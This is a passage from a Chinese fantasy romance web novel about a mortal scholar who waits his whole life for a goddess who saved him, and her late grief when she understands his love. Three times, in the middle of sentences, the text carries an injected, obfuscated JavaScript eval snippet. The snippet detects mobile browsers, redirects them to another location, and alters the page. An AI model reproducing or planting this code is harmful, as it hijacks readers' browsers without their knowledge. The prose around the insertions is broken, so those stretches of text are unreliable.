太上皇摸了摸皇太孙圆圆的脑袋,若有所思地叹道:“若你当初答应跟我皇姐的婚事,现下估计就是你我二人在教各自的孙子对弈。” 师父沉默少顷,自嘲地笑了声:“曾经沧海难为水,除却巫山不是云。” 我待要将冷掉的茶汤端出去,正准备将门虚掩退走,忽然听见太上皇无不感慨地问:“青珩,你等这么多年,值得吗?” 其实侍奉师父这么久,他的心事我看在眼里,自然也存了份私心盼师父放下妄念以得解脱。 我能很确定地说,但凡接触过师父,了解他品性学识的人,都希望他不要再这样作茧自缚,他这样的人,不该被困在一段执念里郁郁不得志,他明明该有更远大的天地。 所以我很明白太上皇此举的用意,他希望师父认清现实,后半生还长,悬崖勒马,或许一切都还来得及—— 毕竟,谁不知道“仙凡有别”这四个字的意思,为何非要强求一件不可能的事情? “三十年光阴转瞬而过,半生蹉跎,这时候谈值得与否,已经没有意义了。” “只是我心结难解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388486|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直不知道,她心里到底有没有过我。” “想不明白就会一直想,等我哪天想明白了,自然也就放下了。” 我心情沉重地站在门口捧着那一碟茶汤,而太上皇亦半响都没再说一句话。 冬夜的冷风吹断了回忆,惊扰起几只憩于檐角的雀鸟,飞鸟振翅,消失于星幕。 我提着灯,站在凭栏前出神,忽然听见身后的暖阁门打开的声音。 我叫了声师父,可师父却充耳不闻,我只能悄声跟着,看他待会儿有无吩咐。 师父像往年的除夕夜一样,平静而孤独地在厨房里挽袖做冰糖葫芦。 洗净的山楂用小刀取核,是件极精细的活。 串糖葫芦的竹签子顶端要磨得钝钝的,才不会伤到人。 冰糖熬煮成糖浆,将串了山果的签子,在沸腾的糖浆里滚一遍。 接着,就该是将糖葫芦插到稻蓬里晾凉。 也许是今年冬天偏暖,厨房的烟气温度高,竖起的竹签上的糖浆还未凝固成型,忽然就从底下掉出一滴透明的糖渍,砸在师父的手上,顺着他修长的指节无声地落到了地上。 紧接着是第二滴、第三滴。 厨房跳动的烛火映出他鬓边变白的几缕银丝。 有那么一瞬间,我恍惚觉得,我好像看到了师父的眼泪。 我站在虚掩的厨房门外,不敢出声。 心绪纷乱,我提着宫灯,抬头看一望无垠的墨色天幕,漫天的繁星像一张无声的巨网,笼罩了世间的一切,却也更让人清晰地感受到了岁月的颤动。 漆黑的夜空里,忽然有一点流星划过,被撕裂的陨石坠向大地,而师父再等待的那个人,却永远不会再跟他相拥。 41.摘星阁手札(四) 贞义四十三年,谷雨。 我于库房中指挥两个师弟整理完前年师父九十大寿的那批生日贺礼,便接到了仆从来报,说是阁外有一名道长想要拜访师傅。 因为上了年纪,我便也不再需要做那些扫洗粗活,渐渐地,开始掌管阁中具体事务,替师父安排一日三餐及行程见客。 道长身负长剑,鹤发童颜,姓张,单名一个陵字,他自称路经此地,感受到了一股极珍贵的仙家宝物的气息,便想登门一探究竟。 我听了他的自述,略做思考,便自作主张地引人入了阁。 春雨初歇的上京城,师父正坐在阁中顶楼看帝姬观中含苞待放的桃花,他懒惫地靠在凭肘上,一袭落拓青衫,一头雪白的青丝一半束于玉冠,一半妥帖地披在身后,指骨分明的手中握着一卷书,是城中近日极流行的民间志怪小说。 即便耄耋之年,但我仍觉得,师父清绝侧影,风姿不逊当年,自有一股与生俱来的从容气度和风骨,望之心折,没来由地令人想要信服,饶是白须白眉,也依稀可见曾经清俊秀美的五官。 只是于常人而言,身体的衰老不可逆转,目力下降、听觉迟钝,就连过往喜爱的食物,也渐渐地快要尝不出味道。 空气里弥漫着淡淡的甜杏云雾香气,是圣上差人送来的糕点。 因着师父前几日多吃了几块,我便吩咐厨房问宫里拿了方子,趁着春杏时节,多做一些备着。 领着张陵入了阁内,师父听见我进门的动静,缓慢地递目过来,视线忽地便定在了我的身侧。 “长公子近来可好?” 张道长笑吟吟地施了个道家的简礼,姿态甚至有些熟络。 “我已经很多年没听人这么叫过我了。” 岁月在师父的眼里沉淀出了古井无波的平和,他好像在经年累月的等待里,终于认了命,此刻忽然听见一个暌违多年的称呼,眼中不免有了一丝触动,仿佛是为了那些已逝的时间,却很快地又重归平静,他略一停顿,道:“张道长。” 没想到两人会是旧识。 我松了一口气,至少这趟自作主张,总算没有多此一举。 我引了道长入座,并跪在一侧的茶案旁为两人奉茶。 张道长看着师父,只是笑,寥寥数语道尽时光荏苒、世事变迁,我在一旁却听得心惊肉跳,不能置信地偷偷打量他的脸,怎么也没想到,这个跟师父看起来差不多年纪的道长居然已有快四百岁。 寻仙问道,难道真的能让肉体凡胎青春永驻? 师父应得若有所思,却是忽地,道长话锋一转,目光很自然地就落在师父左手握的那块黑玉上,笑着问道:“在下可否借长公子手中的护心鳞一观?” 师父不解地微微一怔:“护心鳞?” “正是,”张道长捻须笑道,“女娲一族人身蛇尾,但护心鳞却不是长在尾巴上的鳞片,而是这一族人滋养在心血里的宝物,如此珍惜之物,我天门道开宗立派于世千年,也就只有祖师爷偶然与此物结过一面之缘。” “……” “这种护心鳞于修道之人而言,是天生护主的铠甲,可于死境中救人于危难,于凡人而言……” 张道长话音高深莫测地一顿,我却从他慈和的笑意里瞧出了一丝“简直大材小用”的感慨。 “有延年益寿、屏退妖邪的作用。” 师父微微张着唇,不能置信的模样仿佛离了魂。 我很少见师父当着外人的面会这样失态,隔了半响,才听他微微颤着声,说:“不是一千八百块鳞,哪天丢了一块都不知道么?” 压低的嗓音,似是自言自语的呢喃,又似是真的在认真求教。 张道长笑了:“她真这么讲?” 师父沉默片刻,艰难轻声道:“正因为是很普通的蛇鳞,所以才需要我日日将它带在身边以血气滋养,这样才会与我有所感应。” “凡人的心血如何滋养仙物?自然是仙物在滋养凡人寿数。” “否则长公子为何这么多年无灾无病?” 张道长看了眼师父失魂落魄的脸,默然片刻,想到一些旧事,轻声笑道:“当初留书,不正是告诉你们府中后人,这是个什么德行的神仙?法力通天却胆小,天性纯良却狡猾,万万不要被她欺骗。” 我看着师父怔怔地盯着张道长良久,那双精神奕奕的狐狸眼里忽然泛出一丝红。 我待要想再看清一些,师父却缓缓地闭上了眼,不知道沉默了多久,终于像是得偿夙愿般,叹了一口长长的、长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399624|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的气。 阁中一时沉默无话,唯有摘星阁对面的那座帝姬宫观传出悦耳钟响——是祈福之人得偿所愿,特地来上香还愿敲钟。 张道长静静地看着师父,在须臾的沉思后,便款然笑道:“长公子既然有此仙缘,何不再约意中人一见?” 师父盯着手里那块鳞片,忽然轻笑了声:“我老啦,恐再难担‘绝色’之名。” 虽然语气听起来有种说不出的遗憾和怅然,可这么多年,我从未见他脸上露出过这样一刻的轻松和释然。 “既知当日真相,我多年心结已解,了无牵挂,多谢道长解惑。” 他起身,恭恭敬敬地朝那位道长深深行了君子大礼。 这是他当年为官入仕时,最标准的道谢礼节——有那么一瞬间,我甚至觉得,那个一直超然世外的师父,兴许从未有一刻离开过俗世。 第二日,飘入昙华帝姬观中的桃瓣如飞雪玉花,师父远远地看着那方青色的砖瓦,煮着茶,坐在软垫上驾鹤西去了,手里仍牢牢地捏着那片黑色的蛇鳞。 张道长说的那一番话,虽然解了师父这七十多年来的心结,但这两万多个日日夜夜里的遗憾,却始终存在、无法消弭。 只是面对这个狡猾的神仙,还有很多事情,都是我们不知道的。 比如,那天在狐仙洞,她为了救师父,忍受了神魂分离、灵肉脱骨的羽化之苦,据说,神仙在意识清醒时候的羽化,需要流干全身的血,不啻于一次凌迟。 再比如,这个好吃懒做的神仙其实也践行了对师父的承诺,世间男子,她就真的只庇佑过他一个人。 但是她要是没有对我师父始乱终弃就好了。 她要是在天上小憩的时候,能够想起来,这凡间还有这样一个人,在这世间最高的建筑里无望地等着她,蹉跎一生,就盼她再下来看他一眼就好了。 所以,“情”这个东西,到底是什么? 是不是一定会让人熬到白发三千、夜衣如雪? 熬到最后,油尽灯枯,煎干人寿? 只可惜。 凡人百年,对神仙而言,也不过只是一个不值一提的瞬间。 一场红尘善始无终。 真的。 好可惜啊。 42.眉间雪 阿青养伤出关,正好碰上蟠桃宴。 十二金仙的仙阶遥遥领先众人,阿青坐在王母下首不远的席列,还没拣着想吃的桃子,玄女已经一路“借过”着换了位置坐到了她旁边,不放心地戳戳她的胳膊捏捏她的腿,确认完了才松一口气:“太上老君的炼丹炉果然靠谱,炼出斗战胜佛一双火眼金睛,居然还能把你炼得完好无损……哼,你就说,是不是当初我那张缚灵符救了你的命?” 阿青心想可拉倒吧,这缚灵符的确是锁了她四分五裂的灵器,但也有个极大的副作用,就是大大降低了她对身边事物的感知能力,然而所幸,经过太上老君炉鼎的炼化,融了那张符,否则她这顿馋了千年的蟠桃宴都要吃得没滋没味。 宴席在一群仙娥姐姐的舞蹈里开了场。 觥筹交错,神仙跟神仙之间也有应酬,九重天的仙班有上中下仙三阶,上仙之上为金仙。 流水的蟠桃宴要摆三日,头一日出席的神仙身份最为尊贵,非上仙不得列席,可仍有几个爱凑热闹的中仙因公之故,混入席中,与其他的上仙打得不亦乐乎。 王母点了出折子戏,是民间近百年传唱极广的一出戏,讲凡人爱上仙人,最后得偿所愿,与仙人双宿双飞的故事。 织女一看折子戏的梗概,立刻捏着鼻子跑了。 其余没有遭受过此类恶性事件毒打的女仙,却各个看得事不关己、津津有味,纯粹当一个天庭的今日说法看。 台上的折子戏演到情浓处,凡人给下凡的女神仙送了一支用红豆做的发簪。 阿青咬了一口脆生生的桃子,不以为意地笑嘻嘻:“送簪子有什么稀奇,我也被人送过,那人生得可比戏文里的凡人俊多了。” 玄女捡了颗她盘里的葡萄:“你说那个,那个谁……就天天给你送鸭子吃的那个,哎我怎么想不起名字了,亏你还记得他长相。” “当然记得啦,他叫袁颂,”阿青短暂地回忆了片刻,笑着说,“这天上地下,我就找不出第二个比他俊的。” “帝姬有所不知,红豆在凡间,是专用来表达男女感情的。” 忽然有个谄媚的声音很热络地从两人身后挤了上来。 阿青狐疑地一回头,看到一张极陌生的脸,料想对方应该是这批飞升新点上来的仙君。 “文人雅骚最爱用红豆以情做比,王摩诘曾作诗云‘红豆生南国,春来发几支,愿君多采撷,此物最相思’,如若将红豆嵌于发簪中,又有‘入骨相思君知否’的寓意,因为这项手工耗时耗力又很难完成,所以一般情况下,很少会有男子这样花心思去讨女子欢心,但是折子戏嘛,总要表达得情绪浓烈才好看。” 那名中仙见昙华帝姬对自己所说的东西感兴趣,便铆足了劲想跟她搭话。 毕竟是十二金仙之一,又是春神青帝之女,随随便便提点他两句,都能叫他受益匪浅。 “元月初一送发簪是为定情求婚,尤其红豆做发簪,意味矢志不渝,那名男子若是很喜欢那女子,盼能跟她白首不离,才会做这种事情,而女子要是收下了那发簪,就是答应了他求婚之意,万不可轻易毁约耍赖。” 阿青手里捏着半颗没吃完的桃子,忽然怔怔地半响也说不出一句话,只茫然地盯着眼前这位新北点上来的仙君。 “怎么样的,算是喜欢?” “唔,喜欢自然就是要投其所好,喜欢吃什么就送什么,喜欢听什么就讲什么,喜欢玩什么就买什么,喜欢看什么就带着分享什么。” 那些让她大快朵颐的美食,那些永不重样的志怪故事,那些让她绞尽脑汁的九连环,那个斑斓难忘的萤火虫洞。 “也有些男子小心眼,喜欢就会变成在意、吃醋、独占、斤斤计较,忍不住同他人比较。” ——“除我以外,你不准庇佑这世上任何男子。” ——“我有一千八百个小心眼,到处都是斤斤计较的怪脾气。” “还有些心志成熟的男子,喜欢到了他们的手上,就会早早地带你去见他的父母兄长,巴不得你早日融入他的生活社交里。” ——“阿青,我想带你去见一见我爹。” ——“圣上是我一生挚友,我也想带你去见一见他。” “要是性子潇洒一点的,就会想着带你去游历麗山阔海,但无论如何,喜欢总归是很用心的,就盼着能与心爱之人朝朝暮暮,结发白头。” ——“我还想带你去看江河湖海,策马烟雨同梦。” 玄女听身边忽然没了动静,一扭头,眼睛瞪成了铜铃:“阿青,阿青你的眼睛怎么了?怎么一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399625|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲往外漏水?” 她手忙脚乱地想找东西替她擦拭,可仙家身边怎么会有这种凡俗之物,只好伸手去堵,可她堵得越用力,阿青眼睛里的水就流得越凶。 “这是什么?”玄女摸得一手湿漉漉,急得团团乱转,“你别是心识碎了,法力外泄,这,这可是要掉修行的,如何是好如何是好!太上老君的炉子到底行不行啊!别是给你弄巧成拙了!” “……” 阿青感觉胸口处,那团曾经被缚灵符封存的焰火,本该奄奄一息的情绪,像是一只死灰复燃的凶兽,在以她血肉铸就的牢笼里挣扎、嘶吼。 喷薄而出的痛意几欲要人窒息,像一颗种子一样硬生生地要在她的胸口处扎根、抽芽,长出一颗本不该存在的心脏。 从乾坤袋里重新找到那支蒙了尘的灵蛇簪。 阿青知道袁颂喜欢她的时候,凡间改朝换代,已逾百年。 她后来找了很多很多地方,最后,她在某一年新年的灯会里,重新站在了那条已经破败不堪的三生桥上。 情人岸边的花灯依旧,绿柳白梨却在连绵不断的战火里变成了不会开花的香樟。 那间老字号的酒楼,也变成一间迎来送往的茶摊,茶摊里,有弹琵琶的乐伶唱一段曲,是昙花一现的少年于宫变中冒死救挚友于危难。 戏文里浓墨重彩的少年郎,绚丽的华光,也不过流星转瞬,却依然博得满堂喝彩。 阿青怔怔地听完一出戏,坐在那天能够跟袁颂平视的台阶上,听着三生桥上情人相携而过立的盟约,想到袁颂专门给她买的酥饼,替她擦手的帕子,还有那件对她来说,并没什么用的狐裘大氅。 她不知道发了多久的呆,直到赏灯的人流散尽,直到昏暗的长街只剩她一人。 浩渺的天地终于给她下了一场盛大的雪,然后用最温柔的方式,轻轻拍了拍她的肩膀, 生而无情的仙人,缓缓闭上眼,滴落的眼泪打湿了她握在手里的发簪。 指腹摩挲细长的簪身,像要拭尽水渍,却再次摸到了那行她已经抚摸了无数年、差点要被磨平的字—— “大启元年,元月初一,青珩赠予爱妻阿青,盼白首不离。” 精卫衔在嘴里的小石头,跨越五百年,终于落在了忘川的湖心。